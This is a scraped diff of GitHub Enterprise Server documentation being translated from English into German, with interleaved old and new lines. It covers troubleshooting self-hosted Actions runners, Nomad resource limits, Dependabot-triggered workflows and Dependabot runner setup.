NODE_EXTRA_CA_CERTS=/usr/share/ca-certificates/extra/mycertfile.crt
```
Environment variables are read when the self-hosted runner application starts, so you must set the environment variable before configuring or starting the self-hosted runner application. If your certificate configuration changes, you must restart the self-hosted runner application.
Umgebungsvariablen werden gelesen, wenn die selbstgehostete Runneranwendung gestartet wird. Daher musst du die Umgebungsvariable festlegen, bevor du die Runneranwendung konfigurierst oder startest. Wenn sich deine Zertifikatkonfiguration ändert, musst du die selbstgehostete Runneranwendung neu starten.
### Configuring Docker containers to use the certificate
### Konfigurieren von Docker-Containern für die Verwendung des Zertifikats
If you use Docker container actions or service containers in your workflows, you might also need to install the certificate in your Docker image in addition to setting the above environment variable.
Wenn du Docker-Containeraktionen oder Dienstcontainer in deinen Workflows verwendest, musst du das Zertifikat möglicherweise auch in deinem Docker-Image installieren und zusätzlich die oben genannte Umgebungsvariable festlegen.
## Configuring HTTP proxy settings for {% data variables.product.prodname_actions %}
## Konfigurieren von HTTP-Proxyeinstellungen für {% data variables.product.prodname_actions %}
{% data reusables.actions.enterprise-http-proxy %}
If these settings aren't correctly configured, you might receive errors like `Resource unexpectedly moved to https://<IP_ADDRESS>` when setting or changing your {% data variables.product.prodname_actions %} configuration.
Wenn diese Einstellungen nicht ordnungsgemäß konfiguriert sind, erhältst du möglicherweise Fehler, z. B. `Resource unexpectedly moved to https://<IP_ADDRESS>` beim Festlegen oder Ändern deiner {% data variables.product.prodname_actions %}-Konfiguration.
## Runners not connecting to {% data variables.product.prodname_ghe_server %} with a new hostname
## Runner, die keine Verbindung zu {% data variables.product.prodname_ghe_server %} mit einem neuen Hostnamen herstellen
{% data reusables.enterprise_installation.changing-hostname-not-supported %}
If you deploy {% data variables.product.prodname_ghe_server %} in your environment with a new hostname and the old hostname no longer resolves to your instance, self-hosted runners will be unable to connect to the old hostname, and will not execute any jobs.
Wenn du {% data variables.product.prodname_ghe_server %} in deiner Umgebung mit einem neuen Hostnamen bereitstellst und der alte Hostname nicht mehr zu deiner Instanz aufgelöst wird, können selbstgehostete Runner keine Verbindung mit dem alten Hostnamen herstellen und keine Aufträge ausführen.
You will need to update the configuration of your self-hosted runners to use the new hostname for {% data variables.location.product_location %}. Each self-hosted runner will require one of the following procedures:
Du musst die Konfiguration deiner selbstgehosteten Runner auf den neuen Hostnamen für {% data variables.location.product_location %} aktualisieren. Jeder selbstgehostete Runner erfordert eine der folgenden Vorgehensweisen:
* In the self-hosted runner application directory, edit the `.runner` and `.credentials` files to replace all mentions of the old hostname with the new hostname, then restart the self-hosted runner application.
* Remove the runner from {% data variables.product.prodname_ghe_server %} using the UI, and re-add it. For more information, see "[Removing self-hosted runners](/actions/hosting-your-own-runners/removing-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)."
* Bearbeite im Verzeichnis der selbstgehosteten Anwendung die `.runner`- und `.credentials`-Dateien, und ersetze alle Erwähnungen des alten Hostnamens durch den neuen. Starte anschließend die selbstgehostete Runneranwendung neu.
* Entferne den Runner über die Benutzeroberfläche aus {% data variables.product.prodname_ghe_server %}, und füge ihn erneut hinzu. Weitere Informationen findest du unter [Entfernen von selbstgehosteten Runnern](/actions/hosting-your-own-runners/adding-self-hosted-runners) und [Hinzufügen selbstgehosteter Runner](/actions/hosting-your-own-runners/removing-self-hosted-runners).
## Stuck jobs and {% data variables.product.prodname_actions %} memory and CPU limits
## Nicht mehr reagierende Aufträge und Grenzwerte für {% data variables.product.prodname_actions %} -Arbeitsspeicher und -CPU
{% data variables.product.prodname_actions %} is composed of multiple services running on {% data variables.location.product_location %}. By default, these services are set up with default CPU and memory limits that should work for most instances. However, heavy users of {% data variables.product.prodname_actions %} might need to adjust these settings.
{% data variables.product.prodname_actions %} bestehen aus einer Vielzahl von Diensten, die auf {% data variables.location.product_location %} ausgeführt werden. Standardmäßig sind diese Dienste mit Standardgrenzwerten für CPU und Arbeitsspeicher konfiguriert, die für die meisten Instanzen funktionieren sollten. Wenn die Nutzung von {% data variables.product.prodname_actions %} in deinem Unternehmen jedoch überdurchschnittlich hoch ausfällt, musst du diese Einstellungen möglicherweise anpassen.
You may be hitting the CPU or memory limits if you notice that jobs are not starting (even though there are idle runners), or if the job's progress is not updating or changing in the UI.
Wenn du feststellst, dass Aufträge nicht gestartet werden (obwohl Runner im Leerlauf vorhanden sind), oder wenn der Fortschritt des Auftrags nicht aktualisiert bzw. nicht in der Benutzeroberfläche geändert wird, kann dies daran liegen, dass die CPU- oder Arbeitsspeichergrenzwerte erreicht sind.
### 1. Check the overall CPU and memory usage in the management console
### 1. Überprüfen der Gesamtauslastung von CPU und Arbeitsspeicher in der Verwaltungskonsole
Access the management console and use the monitor dashboard to inspect the overall CPU and memory graphs under "System Health". For more information, see "[Accessing the monitor dashboard](/admin/enterprise-management/accessing-the-monitor-dashboard)."
Öffne auf die Verwaltungskonsole, und überprüfe die Diagramme zur Gesamtauslastung von CPU und Arbeitsspeicher im Überwachungsdashboard unter „Systemintegrität“. Weitere Informationen findest du unter [Zugreifen auf das Überwachungsdashboard](/admin/enterprise-management/accessing-the-monitor-dashboard).
If the overall "System Health" CPU usage is close to 100%, or there is no free memory left, then {% data variables.location.product_location %} is running at capacity and needs to be scaled up. For more information, see "[Increasing CPU or memory resources](/admin/enterprise-management/increasing-cpu-or-memory-resources)."
Wenn die allgemeine CPU-Gesamtauslastung „Systemintegrität“ bei nahezu 100 Prozent liegt oder kein freier Arbeitsspeicher übrig ist, wird {% data variables.location.product_location %} bei voller Kapazität ausgeführt und muss hochskaliert werden. Weitere Informationen findest du unter [Erhöhen von CPU- oder Arbeitsspeicherressourcen](/admin/enterprise-management/increasing-cpu-or-memory-resources).
### 2. Check the Nomad Jobs CPU and memory usage in the management console
### 2. Überprüfen der CPU- und Arbeitsspeicherauslastung von Nomad-Aufträgen in der Verwaltungskonsole
If the overall "System Health" CPU and memory usage is OK, scroll down the monitor dashboard page to the "Nomad Jobs" section, and look at the "CPU Percent Value" and "Memory Usage" graphs.
Wenn die Gesamtauslastung von CPU und Arbeitsspeicher unter „Systemintegrität“ im annehmbaren Bereich liegt, scrolle im Überwachungsdashboard nach unten zum Abschnitt „Nomad-Aufträge“, und sieh dir die Diagramme „CPU-Prozentwert“ und „Arbeitsspeichernutzung“ an.
Each plot in these graphs corresponds to one service. For {% data variables.product.prodname_actions %} services, look for:
Jeder Plot in diesen Diagrammen entspricht einem Dienst. Suche für {% data variables.product.prodname_actions %} -Dienste nach:
* `mps_frontend`
* `mps_backend`
@ -88,18 +93,18 @@ Each plot in these graphs corresponds to one service. For {% data variables.prod
* `actions_frontend`
* `actions_backend`
If any of these services are at or near 100% CPU utilization, or the memory is near their limit (2 GB by default), then the resource allocation for these services might need increasing. Take note of which of the above services are at or near their limit.
Wenn einer dieser Dienste bei oder in der Nähe einer 100%igen CPU-Auslastung liegt oder der Speicher seinen Grenzwert fast erreicht hat (standardmäßig 2 GB), muss die Ressourcenzuordnung für diese Dienste möglicherweise erhöht werden. Notieren dir, welche der oben genannten Dienste ihren Grenzwert erreicht oder fast erreicht haben.
### 3. Increase the resource allocation for services at their limit
### 3. Erhöhen der Ressourcenzuordnung für Dienste, die ihre Grenzwerte erreicht haben
1. Log in to the administrative shell using SSH. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)."
1. Run the following command to see what resources are available for allocation:
1. Melde dich mit SSH bei der Verwaltungsshell an. Weitere Informationen findest du unter [Zugreifen auf die Verwaltungsshell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh).
1. Führe den folgenden Befehl aus, um zu sehen, welche Ressourcen für die Zuordnung verfügbar sind:
```shell
nomad node status -self
```
In the output, find the "Allocated Resources" section. It looks similar to the following example:
Suche in der Ausgabe den Abschnitt „Allocated Resources“ (Zugeordnete Ressourcen). Er sieht etwa folgendermaßen aus:
```
Allocated Resources
@ -107,25 +112,25 @@ If any of these services are at or near 100% CPU utilization, or the memory is n
7740/49600 MHZ 23 GiB/32 GiB 4.4 GiB/7.9 GiB
```
For CPU and memory, this shows how much is allocated to the **total** of **all** services (the left value) and how much is available (the right value). In the example above, there is 23 GiB of memory allocated out of 32 GiB total. This means there is 9 GiB of memory available for allocation.
Die Ausgabe zeigt, wie viel CPU und Arbeitsspeicher der **Gesamtsumme** **aller** Dienste zugeordnet bzw. belegt sind (linker Wert) und wie viel CPU und Arbeitsspeicher verfügbar ist (rechter Wert). Im obigen Beispiel sind 23 GiB von insgesamt 32 GiB Arbeitsspeicher bereits belegt. Dies bedeutet, dass 9 GiB Arbeitsspeicher noch belegt werden können.
{% warning %}
**Warning:** Be careful not to allocate more than the total available resources, or services will fail to start.
**Warnung:** Achte darauf, nicht mehr als die verfügbaren Ressourcen zuzuordnen. Andernfalls können Dienste nicht mehr gestartet werden.
{% endwarning %}
1. Change directory to `/etc/consul-templates/etc/nomad-jobs/actions`:
1. Wechsle in das Verzeichnis `/etc/consul-templates/etc/nomad-jobs/actions`:
```shell
cd /etc/consul-templates/etc/nomad-jobs/actions
```
In this directory there are three files that correspond to the {% data variables.product.prodname_actions %} services from above:
In diesem Verzeichnis gibt es drei Dateien, die zu den {% data variables.product.prodname_actions %} -Diensten von oben gehören:
* `mps.hcl.ctmpl`
* `token.hcl.ctmpl`
* `actions.hcl.ctmpl`
1. For the services that you identified that need adjustment, open the corresponding file and locate the `resources` group that looks like the following:
1. Öffne für die Dienste, für die du einen Anpassungsbedarf ermittelt hast, die entsprechende Datei, und suche die `resources`-Gruppe, die wie folgt aussieht:
```
resources {
@ -137,9 +142,9 @@ If any of these services are at or near 100% CPU utilization, or the memory is n
}
```
The values are in MHz for CPU resources, and MB for memory resources.
Die Werte sind für CPU-Ressourcen in MHz und für Arbeitsspeicherressourcen MB angegeben.
For example, to increase the resource limits in the above example to 1 GHz for the CPU and 4 GB of memory, change it to:
Um beispielsweise die Ressourcengrenzwerte im obigen Beispiel für die CPU auf 1 GHz und für den Arbeitsspeicher 4 GB zu erhöhen, musst du die Gruppe wie folgt ändern:
```
resources {
@ -150,39 +155,39 @@ If any of these services are at or near 100% CPU utilization, or the memory is n
}
}
```
1. Save and exit the file.
1. Run `ghe-config-apply` to apply the changes.
1. Speichern und beenden Sie die Datei.
1. Führe `ghe-config-apply` aus, um die Änderung zu übernehmen.
When running `ghe-config-apply`, if you see output like `Failed to run nomad job '/etc/nomad-jobs/<name>.hcl'`, then the change has likely over-allocated CPU or memory resources. If this happens, edit the configuration files again and lower the allocated CPU or memory, then re-run `ghe-config-apply`.
1. After the configuration is applied, run `ghe-actions-check` to verify that the {% data variables.product.prodname_actions %} services are operational.
Wenn bei der Ausführung von `ghe-config-apply` eine Ausgabe wie `Failed to run nomad job '/etc/nomad-jobs/<name>.hcl'` angezeigt wird, wurden CPU- oder Arbeitsspeicherressourcen durch die Änderung wahrscheinlich überbelegt. Wenn dies der Fall ist, bearbeite die Konfigurationsdateien erneut, und senke die CPU- oder Arbeitsspeicherbelegung herab. Führe `ghe-config-apply` anschließend erneut aus.
1. Führe nach der Übernahme der Konfiguration `ghe-actions-check` aus, um zu überprüfen, ob die {% data variables.product.prodname_actions %} -Dienste funktionsfähig sind.
{% ifversion fpt or ghec or ghes %}
## Troubleshooting failures when {% data variables.product.prodname_dependabot %} triggers existing workflows
## Problembehandlung von Fehlern, wenn {% data variables.product.prodname_dependabot %} bestehende Workflows auslöst
{% data reusables.dependabot.beta-security-and-version-updates %}
After you set up {% data variables.product.prodname_dependabot %} updates for {% data variables.location.product_location %}, you may see failures when existing workflows are triggered by {% data variables.product.prodname_dependabot %} events.
Nachdem du {% data variables.product.prodname_dependabot %} für {% data variables.location.product_location %} eingerichtet hast, können Fehler angezeigt werden, wenn bestehende Workflows durch {% data variables.product.prodname_dependabot %}-Ereignisse ausgelöst werden.
By default, {% data variables.product.prodname_actions %} workflow runs that are triggered by {% data variables.product.prodname_dependabot %} from `push`, `pull_request`, `pull_request_review`, or `pull_request_review_comment` events are treated as if they were opened from a repository fork. Unlike workflows triggered by other actors, this means they receive a read-only `GITHUB_TOKEN` and do not have access to any secrets that are normally available. This will cause any workflows that attempt to write to the repository to fail when they are triggered by {% data variables.product.prodname_dependabot %}.
Standardmäßig werden Ausführungen von {% data variables.product.prodname_actions %}-Workflows, die von {% data variables.product.prodname_dependabot %} aufgrund von `push`-, `pull_request`-, `pull_request_review`- oder `pull_request_review_comment`-Ereignissen ausgelöst wurden, so behandelt, als wären sie in einem Repositoryfork geöffnet worden. Im Gegensatz zu Workflows, die von anderen Akteuren ausgelöst werden, erhalten sie ein schreibgeschütztes GitHub-Token (`GITHUB_TOKEN`) und verfügen nicht über Zugriff auf Geheimnisse, die normalerweise verfügbar sind. Dies führt dazu, dass alle Workflows, die versuchen, in das Repository zu schreiben, fehlschlagen, wenn sie von {% data variables.product.prodname_dependabot %} ausgelöst wurden.
There are three ways to resolve this problem:
Es gibt drei Möglichkeiten, dieses Problem zu beheben:
1. You can update your workflows so that they are no longer triggered by {% data variables.product.prodname_dependabot %} using an expression like: `if: github.actor != 'dependabot[bot]'`. For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
2. You can modify your workflows to use a two-step process that includes `pull_request_target` which does not have these limitations. For more information, see "[Automating {% data variables.product.prodname_dependabot %} with {% data variables.product.prodname_actions %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions#responding-to-events)."
3. You can provide workflows triggered by {% data variables.product.prodname_dependabot %} access to secrets and allow the `permissions` term to increase the default scope of the `GITHUB_TOKEN`. For more information, see "[Providing workflows triggered by{% data variables.product.prodname_dependabot %} access to secrets and increased permissions](#providing-workflows-triggered-by-dependabot-access-to-secrets-and-increased-permissions)" below.
1. Du kannst deine Workflows mit einem Ausdruck wie `if: github.actor != 'dependabot[bot]'` so aktualisieren, dass sie nicht mehr durch {% data variables.product.prodname_dependabot %} ausgelöst werden. Weitere Informationen findest du unter [Ausdrücke](/actions/learn-github-actions/expressions).
2. Du kannst deine Workflows so ändern, dass sie einen zweistufigen Prozess mit `pull_request_target` verwenden, das nicht diesen Einschränkungen unterliegt. Weitere Informationen findest du unter [Automatisieren von {% data variables.product.prodname_dependabot %} mit {% data variables.product.prodname_actions %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions#responding-to-events).
3. Du kannst Workflows bereitstellen, die durch den {% data variables.product.prodname_dependabot %}-Zugriff auf Geheimnisse ausgelöst werden, und es dem Term `permissions` erlauben, den Standardbereich von `GITHUB_TOKEN` zu erhöhen. Weitere Informationen findest du im Abschnitt [Bereitstellen von Workflows, die durch den {% data variables.product.prodname_dependabot %}-Zugriff auf Geheimnisse und erhöhte Berechtigungen ausgelöst werden](#providing-workflows-triggered-by-dependabot-access-to-secrets-and-increased-permissions).
### Providing workflows triggered by {% data variables.product.prodname_dependabot %} access to secrets and increased permissions
### Bereitstellen von Workflows, die durch den {% data variables.product.prodname_dependabot %}-Zugriff auf Geheimnisse und erhöhte Berechtigungen ausgelöst werden
1. Log in to the administrative shell using SSH. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)."
1. To remove the limitations on workflows triggered by {% data variables.product.prodname_dependabot %} on {% data variables.location.product_location %}, use the following command.
1. Melde dich mit SSH bei der Verwaltungsshell an. Weitere Informationen findest du unter [Zugreifen auf die Verwaltungsshell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh).
1. Um die Einschränkungen für Workflows aufzuheben, die von {% data variables.product.prodname_dependabot %} für {% data variables.location.product_location %} ausgelöst werden, führe den folgenden Befehl aus.
``` shell
$ ghe-config app.actions.disable-dependabot-enforcement true
```
1. Apply the configuration.
1. Wende die Konfiguration an.
```shell
$ ghe-config-apply
```
1. Return to {% data variables.product.prodname_ghe_server %}.
1. Kehre zu {% data variables.product.prodname_ghe_server %} zurück.
{% endif %}
@ -190,38 +195,38 @@ There are three ways to resolve this problem:
<a name="bundled-actions"></a>
## Troubleshooting bundled actions in {% data variables.product.prodname_actions %}
## Problembehandlung gebündelter Aktionen in {% data variables.product.prodname_actions %}
If you receive the following error when installing {% data variables.product.prodname_actions %} in {% data variables.product.prodname_ghe_server %}, you can resolve the problem by installing the official bundled actions and starter workflows.
Wenn beim Installieren von {% data variables.product.prodname_actions %} in {% data variables.product.prodname_ghe_server %} der folgende Fehler zurückgegeben wird, kannst du das Problem beheben, indem du die offiziellen gebündelten Aktionen und Startworkflows installierst.
```shell
A part of the Actions setup had problems and needs an administrator to resolve.
```
To install the official bundled actions and starter workflows within a designated organization in {% data variables.product.prodname_ghe_server %}, follow this procedure.
Um die offiziellen gebündelten Aktionen und Startworkflows in einer bestimmten Organisation in {% data variables.product.prodname_ghe_server %} zu installieren, gehe wie folgt vor:
1. Identify an organization that will store the official bundled actions and starter worflows. You can create a new organization or reuse an existing one.
- To create a new organization, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)."
- For assistance with choosing a name for this organization, see "[Reserved Names](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#reserved-names)."
1. Ermittle eine Organisation, in der die offiziellen gebündelten Aktionen und Startworkflows gespeichert werden sollen. Du kannst eine neue Organisation erstellen oder eine vorhandene verwenden.
- Informationen zum Erstellen einer neuen Organisation findest du unter [Grundlegendes Neuerstellen einer Organisation](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch).
- Informationen zum Auswählen eines Namens für diese Organisation findest du unter [Reservierte Namen](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#reserved-names).
1. Log in to the administrative shell using SSH. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)."
1. To designate your organization as the location to store the bundled actions, use the `ghe-config` command, replacing `ORGANIZATION` with the name of your organization.
1. Melde dich mit SSH bei der Verwaltungsshell an. Weitere Informationen findest du unter [Zugreifen auf die Verwaltungsshell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh).
1. Um deine Organisation als Speicherort für gebündelte Aktionen festzulegen, verwende den Befehl `ghe-config` aus, indem du `ORGANIZATION` durch den Namen deiner Organisation ersetzt.
```shell
$ ghe-config app.actions.actions-org ORGANIZATION
```
and:
und:
```shell
$ ghe-config app.actions.github-org ORGANIZATION
```
1. To add the bundled actions to your organization, unset the SHA.
1. Um die gebündelten Aktionen zu deiner Organisation hinzuzufügen, lösche den SHA-Wert.
```shell
$ ghe-config --unset 'app.actions.actions-repos-sha1sum'
```
1. Apply the configuration.
1. Wende die Konfiguration an.
```shell
$ ghe-config-apply
```
After you've completed these steps, you can resume configuring {% data variables.product.prodname_actions %} at "[Managing access permissions for GitHub Actions in your enterprise](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#managing-access-permissions-for-github-actions-in-your-enterprise)."
Nachdem du diese Schritte abgeschlossen hast, kannst du die Konfiguration von {% data variables.product.prodname_actions %} mithilfe des Artikels [Verwalten von Zugriffsberechtigungen für GitHub Actions in deinem Unternehmen](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#managing-access-permissions-for-github-actions-in-your-enterprise) fortsetzen.
{% endif %}

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Managing self-hosted runners for Dependabot updates on your enterprise
intro: 'You can create dedicated runners for {% data variables.location.product_location %} that {% data variables.product.prodname_dependabot %} uses to create pull requests to help secure and maintain the dependencies used in repositories on your enterprise.'
title: Verwalten von selbstgehosteten Runnern für Dependabot-Updates für dein Unternehmen
intro: 'Du kannst dedizierte Runner für {% data variables.location.product_location %} erstellen, mit denen {% data variables.product.prodname_dependabot %} Pull Requests erstellt werden, um die Abhängigkeiten zu sichern und zu verwalten, die in Repositorys in deinem Unternehmen verwendet werden.'
redirect_from:
- /admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates
allowTitleToDifferFromFilename: true
@ -13,47 +13,48 @@ topics:
- Dependabot
- Dependencies
shortTitle: Dependabot updates
ms.openlocfilehash: 0f21d4bc91e519f7af89ff04bd65a6ace742f430
ms.sourcegitcommit: d411e8278b73efd0051816625c0b235ab7c263e9
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/24/2022
ms.locfileid: '148181333'
---
{% data reusables.dependabot.beta-security-and-version-updates %}
## About self-hosted runners for {% data variables.product.prodname_dependabot_updates %}
## Informationen zu selbst gehosteten Runnern für {% data variables.product.prodname_dependabot_updates %}
You can help users of {% data variables.location.product_location %} to create and maintain secure code by setting up {% data variables.product.prodname_dependabot %} security and version updates. With {% data variables.product.prodname_dependabot_updates %}, developers can configure repositories so that their dependencies are updated and kept secure automatically. For more information, see "[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)."
Du kannst Benutzer*innen von {% data variables.location.product_location %} helfen, sicheren Code zu erstellen und zu pflegen, indem du mit {% data variables.product.prodname_dependabot %} Sicherheits- und Versionsupdates einrichtest. Mit {% data variables.product.prodname_dependabot_updates %} können Entwickler Repositorys so konfigurieren, dass ihre Abhängigkeiten aktualisiert und automatisch gesichert werden. Weitere Informationen findest du unter [Aktivieren von {% data variables.product.prodname_dependabot %} für dein Unternehmen](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise).
To use {% data variables.product.prodname_dependabot_updates %} on {% data variables.location.product_location %}, you must configure self-hosted runners to create the pull requests that will update dependencies.
Um {% data variables.product.prodname_dependabot_updates %} auf {% data variables.location.product_location %} zu verwenden, musst du selbstgehostete Runner konfigurieren, um die Pull Requests zu erstellen, die die Abhängigkeiten aktualisieren.
## Prerequisites
## Voraussetzungen
{% ifversion dependabot-updates-github-connect %}
Configuring self-hosted runners is only one step in the middle of the process for enabling {% data variables.product.prodname_dependabot_updates %}. There are several steps you must follow before these steps, including configuring {% data variables.location.product_location %} to use {% data variables.product.prodname_actions %} with self-hosted runners. For more information, see "[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)."
{% else %}
Before you configure self-hosted runners for {% data variables.product.prodname_dependabot_updates %}, you must:
{% ifversion dependabot-updates-github-connect %} Das Konfigurieren von selbstgehosteten Runnern ist nur ein Schritt in der Mitte des Prozesses zum Aktivieren von {% data variables.product.prodname_dependabot_updates %}. Es gibt mehrere Schritte, die du vor diesen Schritten ausführen musst, einschließlich der Konfiguration von {% data variables.location.product_location %}, um {% data variables.product.prodname_actions %} mit selbstgehosteten Runnern zu verwenden. Weitere Informationen findest du unter [Aktivieren von {% data variables.product.prodname_dependabot %} für dein Unternehmen](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise).
{% else %} Bevor du selbst gehostete Runner für {% data variables.product.prodname_dependabot_updates %} konfigurieren, musst du Folgendes ausführen:
- Configure {% data variables.location.product_location %} to use {% data variables.product.prodname_actions %} with self-hosted runners. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for GitHub Enterprise Server](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)."
- Enable {% data variables.product.prodname_dependabot_alerts %} for your enterprise. For more information, see "[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)."
- Konfiguriere {% data variables.location.product_location %}, um {% data variables.product.prodname_actions %} mit selbstgehosteten Runnern zu verwenden. Weitere Informationen findest du unter [Erste Schritte mit {% data variables.product.prodname_actions %} für GitHub Enterprise Server](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server).
- Aktiviere {% data variables.product.prodname_dependabot_alerts %} für dein Unternehmen. Weitere Informationen findest du unter [Aktivieren von {% data variables.product.prodname_dependabot %} für dein Unternehmen](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise).
{% endif %}
## Configuring self-hosted runners for {% data variables.product.prodname_dependabot_updates %}
## Konfigurieren selbst gehosteter Runner für {% data variables.product.prodname_dependabot_updates %}
After you configure {% data variables.location.product_location %} to use {% data variables.product.prodname_actions %}, you need to add self-hosted runners for {% data variables.product.prodname_dependabot_updates %}.
Nachdem du {% data variables.location.product_location %} so konfiguriert hast, dass {% data variables.product.prodname_actions %} verwendet wird, musst du selbstgehostete Runner für {% data variables.product.prodname_dependabot_updates %} hinzufügen.
### System requirements for {% data variables.product.prodname_dependabot %} runners
### Systemanforderungen für {% data variables.product.prodname_dependabot %}-Runner
Any VM that you use for {% data variables.product.prodname_dependabot %} runners must meet the requirements for self-hosted runners. In addition, they must meet the following requirements.
Jede VM, die du für {% data variables.product.prodname_dependabot %}-Runner verwendest, muss die Anforderungen für selbst gehostete Runner erfüllen. Sie muss außerdem die folgenden Anforderungen erfüllen.
- Linux operating system
- x64 architecture
{%- ifversion ghes < 3.5 %}
- Git installed
{%- endif %}
- Docker installed with access for the runner users:
- We recommend installing Docker in rootless mode and configuring the runners to access Docker without `root` privileges.
- Alternatively, install Docker and give the runner users raised privileges to run Docker.
- Linux-Betriebssystem
- x64-Architektur {%- ifversion ghes < 3.5 %}
- Git installiert {%- endif %}
- Docker ist mit Zugriff für die Runner-Benutzer installiert:
- Du solltest Docker im Rootless-Modus installieren und die Runner für den Zugriff auf Docker ohne `root`-Berechtigungen konfigurieren.
- Installiere alternativ Docker, und gib den Runner-Benutzern Berechtigungen zum Ausführen von Docker.
The CPU and memory requirements will depend on the number of concurrent runners you deploy on a given VM. As guidance, we have successfully set up 20 runners on a single 2 CPU 8GB machine, but ultimately, your CPU and memory requirements will heavily depend on the repositories being updated. Some ecosystems will require more resources than others.
Die CPU- und Speicheranforderungen hängen von der Anzahl der gleichzeitigen Runner ab, die du auf einer bestimmten VM bereitstellst. Als Anhaltspunkt: Wir haben erfolgreich 20 Runner auf einem einzelnen Computer mit 2 CPUs und 8 GB eingerichtet. Letztendlich hängen deine CPU- und Speicheranforderungen jedoch stark von den zu aktualisierenden Repositories ab. Einige Ökosysteme erfordern mehr Ressourcen als andere.
If you specify more than 14 concurrent runners on a VM, you must also update the Docker `/etc/docker/daemon.json` configuration to increase the default number of networks Docker can create.
Wenn du mehr als 14 gleichzeitige Runner auf einer VM angibst, musst du auch die Docker-`/etc/docker/daemon.json`-Konfiguration aktualisieren, um die Standardanzahl von Netzwerken zu erhöhen, die Docker erstellen kann.
```
{
@ -63,23 +64,23 @@ If you specify more than 14 concurrent runners on a VM, you must also update the
}
```
### Network requirements for {% data variables.product.prodname_dependabot %} runners
### Netzwerkanforderungen für {% data variables.product.prodname_dependabot %}-Runner
{% data variables.product.prodname_dependabot %} runners require access to the public internet, {% data variables.product.prodname_dotcom_the_website %}, and any internal registries that will be used in {% data variables.product.prodname_dependabot %} updates. To minimize the risk to your internal network, you should limit access from the Virtual Machine (VM) to your internal network. This reduces the potential for damage to internal systems if a runner were to download a hijacked dependency.
Die {% data variables.product.prodname_dependabot %}-Runner benötigen Zugriff auf das öffentliche Internet, {% data variables.product.prodname_dotcom_the_website %}, und auf alle internen Registrierungen, die in den Updates von {% data variables.product.prodname_dependabot %} verwendet werden. Um das Risiko für dein internes Netzwerk zu minimieren, solltest du den Zugriff auf den virtuellen Computer (VM) auf dein internes Netzwerk beschränken. Dadurch wird das Potenzial für Schäden an internen Systemen reduziert, wenn ein Runner eine Hijack-Abhängigkeit herunterladen sollte.
### Adding self-hosted runners for {% data variables.product.prodname_dependabot %} updates
### Hinzufügen selbst gehosteter Runner für {% data variables.product.prodname_dependabot %}-Updates
1. Provision self-hosted runners, at the repository, organization, or enterprise account level. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)."
1. Bereitstellen selbst gehosteter Runner auf der Ebene von Repository, Organisation oder Unternehmenskonto. Weitere Informationen findest du unter [Informationen zu selbstgehosteten Runnern](/actions/hosting-your-own-runners/adding-self-hosted-runners) und [Hinzufügen selbstgehosteter Runner](/actions/hosting-your-own-runners/about-self-hosted-runners).
2. Set up the self-hosted runners with the requirements described above. For example, on a VM running Ubuntu 20.04 you would:{% ifversion ghes < 3.5 %}
2. Richte die selbst gehosteten Runner mit den oben beschriebenen Anforderungen ein. Beispielsweise würdest du auf einer VM unter Ubuntu 20.04 Folgendes ausführen:{% ifversion ghes < 3.5 %}
- Verify that Git is installed: `command -v git`{% endif %}
- Install Docker and ensure that the runner users have access to Docker. For more information, see the Docker documentation.
- [Install Docker Engine on Ubuntu](https://docs.docker.com/engine/install/ubuntu/)
- Recommended approach: [Run the Docker daemon as a non-root user (Rootless mode)](https://docs.docker.com/engine/security/rootless/)
- Alternative approach: [Manage Docker as a non-root user](https://docs.docker.com/engine/install/linux-postinstall/#manage-docker-as-a-non-root-user)
- Verify that the runners have access to the public internet and can only access the internal networks that {% data variables.product.prodname_dependabot %} needs.
- Überprüfe, ob Git installiert ist: `command -v git`.{% endif %}
- Installiere Docker, und stelle sicher, dass die Runner-Benutzer Zugriff auf Docker haben. Weitere Informationen findest du in der Dokumentation zur Docker.
- [Installieren der Docker-Engine unter Ubuntu](https://docs.docker.com/engine/install/ubuntu/)
- Empfohlene Vorgehensweise: [Ausführen des Docker-Daemons als Nicht-Root-Benutzer (Rootless-Modus)](https://docs.docker.com/engine/security/rootless/).
- Alternativer Ansatz: [Verwalten von Docker als Nicht-Root-Benutzer](https://docs.docker.com/engine/install/linux-postinstall/#manage-docker-as-a-non-root-user)
